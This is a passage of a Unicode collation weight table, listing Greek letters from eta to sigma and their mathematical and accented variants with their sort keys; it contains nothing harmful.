-1F90  ; [.1F3F.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI
-1F98  ; [.1F3F.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI
-1F21  ; [.1F3F.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ETA WITH DASIA
-1F29  ; [.1F3F.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ETA WITH DASIA
-1F25  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA
-1F2D  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA
-1F95  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI
-1F9D  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI
-1F23  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA
-1F2B  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA
-1F93  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI
-1F9B  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI
-1F27  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI
-1F2F  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI
-1F97  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
-1F9F  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
-1F91  ; [.1F3F.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI
-1F99  ; [.1F3F.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI
-03AE  ; [.1F3F.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH TONOS
-1F75  ; [.1F3F.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ETA WITH OXIA
-0389  ; [.1F3F.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH TONOS
-1FCB  ; [.1F3F.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ETA WITH OXIA
-1FC4  ; [.1F3F.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI
-1F74  ; [.1F3F.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ETA WITH VARIA
-1FCA  ; [.1F3F.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ETA WITH VARIA
-1FC2  ; [.1F3F.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI
-1FC6  ; [.1F3F.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI
-1FC7  ; [.1F3F.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI
-1FC3  ; [.1F3F.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI
-1FCC  ; [.1F3F.0020.0008][.0000.004C.0002] # GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
-03B8  ; [.1F40.0020.0002] # GREEK SMALL LETTER THETA
-03D1  ; [.1F40.0020.0004] # GREEK THETA SYMBOL
-1D6C9 ; [.1F40.0020.0005] # MATHEMATICAL BOLD SMALL THETA
-1D6DD ; [.1F40.0020.0005] # MATHEMATICAL BOLD THETA SYMBOL
-1D703 ; [.1F40.0020.0005] # MATHEMATICAL ITALIC SMALL THETA
-1D717 ; [.1F40.0020.0005] # MATHEMATICAL ITALIC THETA SYMBOL
-1D73D ; [.1F40.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL THETA
-1D751 ; [.1F40.0020.0005] # MATHEMATICAL BOLD ITALIC THETA SYMBOL
-1D777 ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL THETA
-1D78B ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD THETA SYMBOL
-1D7B1 ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL THETA
-1D7C5 ; [.1F40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC THETA SYMBOL
-0398  ; [.1F40.0020.0008] # GREEK CAPITAL LETTER THETA
-03F4  ; [.1F40.0020.000A] # GREEK CAPITAL THETA SYMBOL
-1D6AF ; [.1F40.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA
-1D6B9 ; [.1F40.0020.000B] # MATHEMATICAL BOLD CAPITAL THETA SYMBOL
-1D6E9 ; [.1F40.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA
-1D6F3 ; [.1F40.0020.000B] # MATHEMATICAL ITALIC CAPITAL THETA SYMBOL
-1D723 ; [.1F40.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA
-1D72D ; [.1F40.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL THETA SYMBOL
-1D75D ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA
-1D767 ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL THETA SYMBOL
-1D797 ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA
-1D7A1 ; [.1F40.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL THETA SYMBOL
-1DBF  ; [.1F40.0020.0014] # MODIFIER LETTER SMALL THETA
-03B9  ; [.1F41.0020.0002] # GREEK SMALL LETTER IOTA
-1FBE  ; [.1F41.0020.0002] # GREEK PROSGEGRAMMENI
-037A  ; [.1F41.0020.0004] # GREEK YPOGEGRAMMENI
-1D6CA ; [.1F41.0020.0005] # MATHEMATICAL BOLD SMALL IOTA
-1D704 ; [.1F41.0020.0005] # MATHEMATICAL ITALIC SMALL IOTA
-1D73E ; [.1F41.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL IOTA
-1D778 ; [.1F41.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL IOTA
-1D7B2 ; [.1F41.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL IOTA
-0399  ; [.1F41.0020.0008] # GREEK CAPITAL LETTER IOTA
-1D6B0 ; [.1F41.0020.000B] # MATHEMATICAL BOLD CAPITAL IOTA
-1D6EA ; [.1F41.0020.000B] # MATHEMATICAL ITALIC CAPITAL IOTA
-1D724 ; [.1F41.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL IOTA
-1D75E ; [.1F41.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL IOTA
-1D798 ; [.1F41.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL IOTA
-1F30  ; [.1F41.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER IOTA WITH PSILI
-1F38  ; [.1F41.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI
-1F34  ; [.1F41.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND OXIA
-1F3C  ; [.1F41.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND OXIA
-1F32  ; [.1F41.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND VARIA
-1F3A  ; [.1F41.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND VARIA
-1F36  ; [.1F41.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PSILI AND PERISPOMENI
-1F3E  ; [.1F41.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH PSILI AND PERISPOMENI
-1F31  ; [.1F41.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER IOTA WITH DASIA
-1F39  ; [.1F41.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA
-1F35  ; [.1F41.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND OXIA
-1F3D  ; [.1F41.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND OXIA
-1F33  ; [.1F41.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND VARIA
-1F3B  ; [.1F41.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND VARIA
-1F37  ; [.1F41.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI
-1F3F  ; [.1F41.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER IOTA WITH DASIA AND PERISPOMENI
-03AF  ; [.1F41.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH TONOS
-1F77  ; [.1F41.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH OXIA
-038A  ; [.1F41.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH TONOS
-1FDB  ; [.1F41.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER IOTA WITH OXIA
-1F76  ; [.1F41.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH VARIA
-1FDA  ; [.1F41.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER IOTA WITH VARIA
-1FD0  ; [.1F41.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER IOTA WITH VRACHY
-1FD8  ; [.1F41.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER IOTA WITH VRACHY
-1FD6  ; [.1F41.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH PERISPOMENI
-03CA  ; [.1F41.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA
-03AA  ; [.1F41.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER IOTA WITH DIALYTIKA
-0390  ; [.1F41.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS
-1FD3  ; [.1F41.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA
-1FD2  ; [.1F41.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA
-1FD7  ; [.1F41.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI
-1FD1  ; [.1F41.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER IOTA WITH MACRON
-1FD9  ; [.1F41.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER IOTA WITH MACRON
-03F3  ; [.1F42.0020.0002] # GREEK LETTER YOT
-037F  ; [.1F42.0020.0008] # GREEK CAPITAL LETTER YOT
-03BA  ; [.1F43.0020.0002] # GREEK SMALL LETTER KAPPA
-03F0  ; [.1F43.0020.0004] # GREEK KAPPA SYMBOL
-1D6CB ; [.1F43.0020.0005] # MATHEMATICAL BOLD SMALL KAPPA
-1D6DE ; [.1F43.0020.0005] # MATHEMATICAL BOLD KAPPA SYMBOL
-1D705 ; [.1F43.0020.0005] # MATHEMATICAL ITALIC SMALL KAPPA
-1D718 ; [.1F43.0020.0005] # MATHEMATICAL ITALIC KAPPA SYMBOL
-1D73F ; [.1F43.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL KAPPA
-1D752 ; [.1F43.0020.0005] # MATHEMATICAL BOLD ITALIC KAPPA SYMBOL
-1D779 ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL KAPPA
-1D78C ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD KAPPA SYMBOL
-1D7B3 ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL KAPPA
-1D7C6 ; [.1F43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC KAPPA SYMBOL
-039A  ; [.1F43.0020.0008] # GREEK CAPITAL LETTER KAPPA
-1D6B1 ; [.1F43.0020.000B] # MATHEMATICAL BOLD CAPITAL KAPPA
-1D6EB ; [.1F43.0020.000B] # MATHEMATICAL ITALIC CAPITAL KAPPA
-1D725 ; [.1F43.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL KAPPA
-1D75F ; [.1F43.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL KAPPA
-1D799 ; [.1F43.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL KAPPA
-03D7  ; [.1F43.0020.0004][.1F34.0020.0004][.1F41.0020.0004] # GREEK KAI SYMBOL
-03CF  ; [.1F43.0020.000A][.1F34.0020.0004][.1F41.0020.0004] # GREEK CAPITAL KAI SYMBOL
-03BB  ; [.1F44.0020.0002] # GREEK SMALL LETTER LAMDA
-1D6CC ; [.1F44.0020.0005] # MATHEMATICAL BOLD SMALL LAMDA
-1D706 ; [.1F44.0020.0005] # MATHEMATICAL ITALIC SMALL LAMDA
-1D740 ; [.1F44.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL LAMDA
-1D77A ; [.1F44.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL LAMDA
-1D7B4 ; [.1F44.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL LAMDA
-039B  ; [.1F44.0020.0008] # GREEK CAPITAL LETTER LAMDA
-1D6B2 ; [.1F44.0020.000B] # MATHEMATICAL BOLD CAPITAL LAMDA
-1D6EC ; [.1F44.0020.000B] # MATHEMATICAL ITALIC CAPITAL LAMDA
-1D726 ; [.1F44.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL LAMDA
-1D760 ; [.1F44.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL LAMDA
-1D79A ; [.1F44.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL LAMDA
-1D27  ; [.1F45.0020.0002] # GREEK LETTER SMALL CAPITAL LAMDA
-03BC  ; [.1F46.0020.0002] # GREEK SMALL LETTER MU
-00B5  ; [.1F46.0020.0004] # MICRO SIGN
-1D6CD ; [.1F46.0020.0005] # MATHEMATICAL BOLD SMALL MU
-1D707 ; [.1F46.0020.0005] # MATHEMATICAL ITALIC SMALL MU
-1D741 ; [.1F46.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL MU
-1D77B ; [.1F46.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL MU
-1D7B5 ; [.1F46.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL MU
-039C  ; [.1F46.0020.0008] # GREEK CAPITAL LETTER MU
-1D6B3 ; [.1F46.0020.000B] # MATHEMATICAL BOLD CAPITAL MU
-1D6ED ; [.1F46.0020.000B] # MATHEMATICAL ITALIC CAPITAL MU
-1D727 ; [.1F46.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL MU
-1D761 ; [.1F46.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL MU
-1D79B ; [.1F46.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL MU
-3382  ; [.1F46.0020.001C][.1BC2.0020.001D] # SQUARE MU A
-338C  ; [.1F46.0020.001C][.1C60.0020.001D] # SQUARE MU F
-338D  ; [.1F46.0020.001C][.1C6F.0020.001C] # SQUARE MU G
-3395  ; [.1F46.0020.001C][.1CF2.0020.001C] # SQUARE MU L
-339B  ; [.1F46.0020.001C][.1D25.0020.001C] # SQUARE MU M
-33B2  ; [.1F46.0020.001C][.1DEC.0020.001C] # SQUARE MU S
-33B6  ; [.1F46.0020.001C][.1E5E.0020.001D] # SQUARE MU V
-33BC  ; [.1F46.0020.001C][.1E70.0020.001D] # SQUARE MU W
-03BD  ; [.1F47.0020.0002] # GREEK SMALL LETTER NU
-1D6CE ; [.1F47.0020.0005] # MATHEMATICAL BOLD SMALL NU
-1D708 ; [.1F47.0020.0005] # MATHEMATICAL ITALIC SMALL NU
-1D742 ; [.1F47.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL NU
-1D77C ; [.1F47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL NU
-1D7B6 ; [.1F47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL NU
-039D  ; [.1F47.0020.0008] # GREEK CAPITAL LETTER NU
-1D6B4 ; [.1F47.0020.000B] # MATHEMATICAL BOLD CAPITAL NU
-1D6EE ; [.1F47.0020.000B] # MATHEMATICAL ITALIC CAPITAL NU
-1D728 ; [.1F47.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL NU
-1D762 ; [.1F47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL NU
-1D79C ; [.1F47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL NU
-03BE  ; [.1F48.0020.0002] # GREEK SMALL LETTER XI
-1D6CF ; [.1F48.0020.0005] # MATHEMATICAL BOLD SMALL XI
-1D709 ; [.1F48.0020.0005] # MATHEMATICAL ITALIC SMALL XI
-1D743 ; [.1F48.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL XI
-1D77D ; [.1F48.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL XI
-1D7B7 ; [.1F48.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL XI
-039E  ; [.1F48.0020.0008] # GREEK CAPITAL LETTER XI
-1D6B5 ; [.1F48.0020.000B] # MATHEMATICAL BOLD CAPITAL XI
-1D6EF ; [.1F48.0020.000B] # MATHEMATICAL ITALIC CAPITAL XI
-1D729 ; [.1F48.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL XI
-1D763 ; [.1F48.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL XI
-1D79D ; [.1F48.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL XI
-03BF  ; [.1F49.0020.0002] # GREEK SMALL LETTER OMICRON
-1D6D0 ; [.1F49.0020.0005] # MATHEMATICAL BOLD SMALL OMICRON
-1D70A ; [.1F49.0020.0005] # MATHEMATICAL ITALIC SMALL OMICRON
-1D744 ; [.1F49.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMICRON
-1D77E ; [.1F49.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMICRON
-1D7B8 ; [.1F49.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMICRON
-039F  ; [.1F49.0020.0008] # GREEK CAPITAL LETTER OMICRON
-1D6B6 ; [.1F49.0020.000B] # MATHEMATICAL BOLD CAPITAL OMICRON
-1D6F0 ; [.1F49.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMICRON
-1D72A ; [.1F49.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMICRON
-1D764 ; [.1F49.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMICRON
-1D79E ; [.1F49.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMICRON
-1F40  ; [.1F49.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMICRON WITH PSILI
-1F48  ; [.1F49.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI
-1F44  ; [.1F49.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA
-1F4C  ; [.1F49.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA
-1F42  ; [.1F49.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA
-1F4A  ; [.1F49.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA
-1F41  ; [.1F49.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMICRON WITH DASIA
-1F49  ; [.1F49.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA
-1F45  ; [.1F49.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
-1F4D  ; [.1F49.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA
-1F43  ; [.1F49.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA
-1F4B  ; [.1F49.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA
-03CC  ; [.1F49.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH TONOS
-1F79  ; [.1F49.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH OXIA
-038C  ; [.1F49.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH TONOS
-1FF9  ; [.1F49.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH OXIA
-1F78  ; [.1F49.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH VARIA
-1FF8  ; [.1F49.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH VARIA
-03C0  ; [.1F4A.0020.0002] # GREEK SMALL LETTER PI
-03D6  ; [.1F4A.0020.0004] # GREEK PI SYMBOL
-213C  ; [.1F4A.0020.0005] # DOUBLE-STRUCK SMALL PI
-1D6D1 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD SMALL PI
-1D6E1 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD PI SYMBOL
-1D70B ; [.1F4A.0020.0005] # MATHEMATICAL ITALIC SMALL PI
-1D71B ; [.1F4A.0020.0005] # MATHEMATICAL ITALIC PI SYMBOL
-1D745 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PI
-1D755 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD ITALIC PI SYMBOL
-1D77F ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PI
-1D78F ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PI SYMBOL
-1D7B9 ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PI
-1D7C9 ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PI SYMBOL
-03A0  ; [.1F4A.0020.0008] # GREEK CAPITAL LETTER PI
-213F  ; [.1F4A.0020.000B] # DOUBLE-STRUCK CAPITAL PI
-1D6B7 ; [.1F4A.0020.000B] # MATHEMATICAL BOLD CAPITAL PI
-1D6F1 ; [.1F4A.0020.000B] # MATHEMATICAL ITALIC CAPITAL PI
-1D72B ; [.1F4A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PI
-1D765 ; [.1F4A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PI
-1D79F ; [.1F4A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PI
-1D28  ; [.1F4B.0020.0002] # GREEK LETTER SMALL CAPITAL PI
-03FB  ; [.1F4C.0020.0002] # GREEK SMALL LETTER SAN
-03FA  ; [.1F4C.0020.0008] # GREEK CAPITAL LETTER SAN
-03DF  ; [.1F4D.0020.0002] # GREEK SMALL LETTER KOPPA
-03DE  ; [.1F4D.0020.0008] # GREEK LETTER KOPPA
-03D9  ; [.1F4E.0020.0002] # GREEK SMALL LETTER ARCHAIC KOPPA
-03D8  ; [.1F4E.0020.0008] # GREEK LETTER ARCHAIC KOPPA
-03C1  ; [.1F4F.0020.0002] # GREEK SMALL LETTER RHO
-03F1  ; [.1F4F.0020.0004] # GREEK RHO SYMBOL
-1D6D2 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD SMALL RHO
-1D6E0 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD RHO SYMBOL
-1D70C ; [.1F4F.0020.0005] # MATHEMATICAL ITALIC SMALL RHO
-1D71A ; [.1F4F.0020.0005] # MATHEMATICAL ITALIC RHO SYMBOL
-1D746 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL RHO
-1D754 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD ITALIC RHO SYMBOL
-1D780 ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL RHO
-1D78E ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD RHO SYMBOL
-1D7BA ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL RHO
-1D7C8 ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC RHO SYMBOL
-03A1  ; [.1F4F.0020.0008] # GREEK CAPITAL LETTER RHO
-1D6B8 ; [.1F4F.0020.000B] # MATHEMATICAL BOLD CAPITAL RHO
-1D6F2 ; [.1F4F.0020.000B] # MATHEMATICAL ITALIC CAPITAL RHO
-1D72C ; [.1F4F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL RHO
-1D766 ; [.1F4F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL RHO
-1D7A0 ; [.1F4F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL RHO
-1D68  ; [.1F4F.0020.0015] # GREEK SUBSCRIPT SMALL LETTER RHO
-1FE4  ; [.1F4F.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER RHO WITH PSILI
-1FE5  ; [.1F4F.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER RHO WITH DASIA
-1FEC  ; [.1F4F.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER RHO WITH DASIA
-1D29  ; [.1F50.0020.0002] # GREEK LETTER SMALL CAPITAL RHO
-03FC  ; [.1F51.0020.0002] # GREEK RHO WITH STROKE SYMBOL
-03C3  ; [.1F52.0020.0002] # GREEK SMALL LETTER SIGMA
-03F2  ; [.1F52.0020.0004] # GREEK LUNATE SIGMA SYMBOL
-1D6D3 ; [.1F52.0020.0005] # MATHEMATICAL BOLD SMALL FINAL SIGMA
-1D6D4 ; [.1F52.0020.0005] # MATHEMATICAL BOLD SMALL SIGMA
-1D70D ; [.1F52.0020.0005] # MATHEMATICAL ITALIC SMALL FINAL SIGMA
-1D70E ; [.1F52.0020.0005] # MATHEMATICAL ITALIC SMALL SIGMA
-1D747 ; [.1F52.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL FINAL SIGMA
-1D748 ; [.1F52.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL SIGMA
-1D781 ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL FINAL SIGMA
-1D782 ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL SIGMA
-1D7BB ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL FINAL SIGMA
-1D7BC ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL SIGMA
-03A3  ; [.1F52.0020.0008] # GREEK CAPITAL LETTER SIGMA
-03F9  ; [.1F52.0020.000A] # GREEK CAPITAL LUNATE SIGMA SYMBOL
-1D6BA ; [.1F52.0020.000B] # MATHEMATICAL BOLD CAPITAL SIGMA
-1D6F4 ; [.1F52.0020.000B] # MATHEMATICAL ITALIC CAPITAL SIGMA
-1D72E ; [.1F52.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL SIGMA
-1D768 ; [.1F52.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL SIGMA
-1D7A2 ; [.1F52.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL SIGMA
-03C2  ; [.1F52.0020.0019] # GREEK SMALL LETTER FINAL SIGMA
-037C  ; [.1F53.0020.0002] # GREEK SMALL DOTTED LUNATE SIGMA SYMBOL
-03FE  ; [.1F53.0020.0008] # GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL
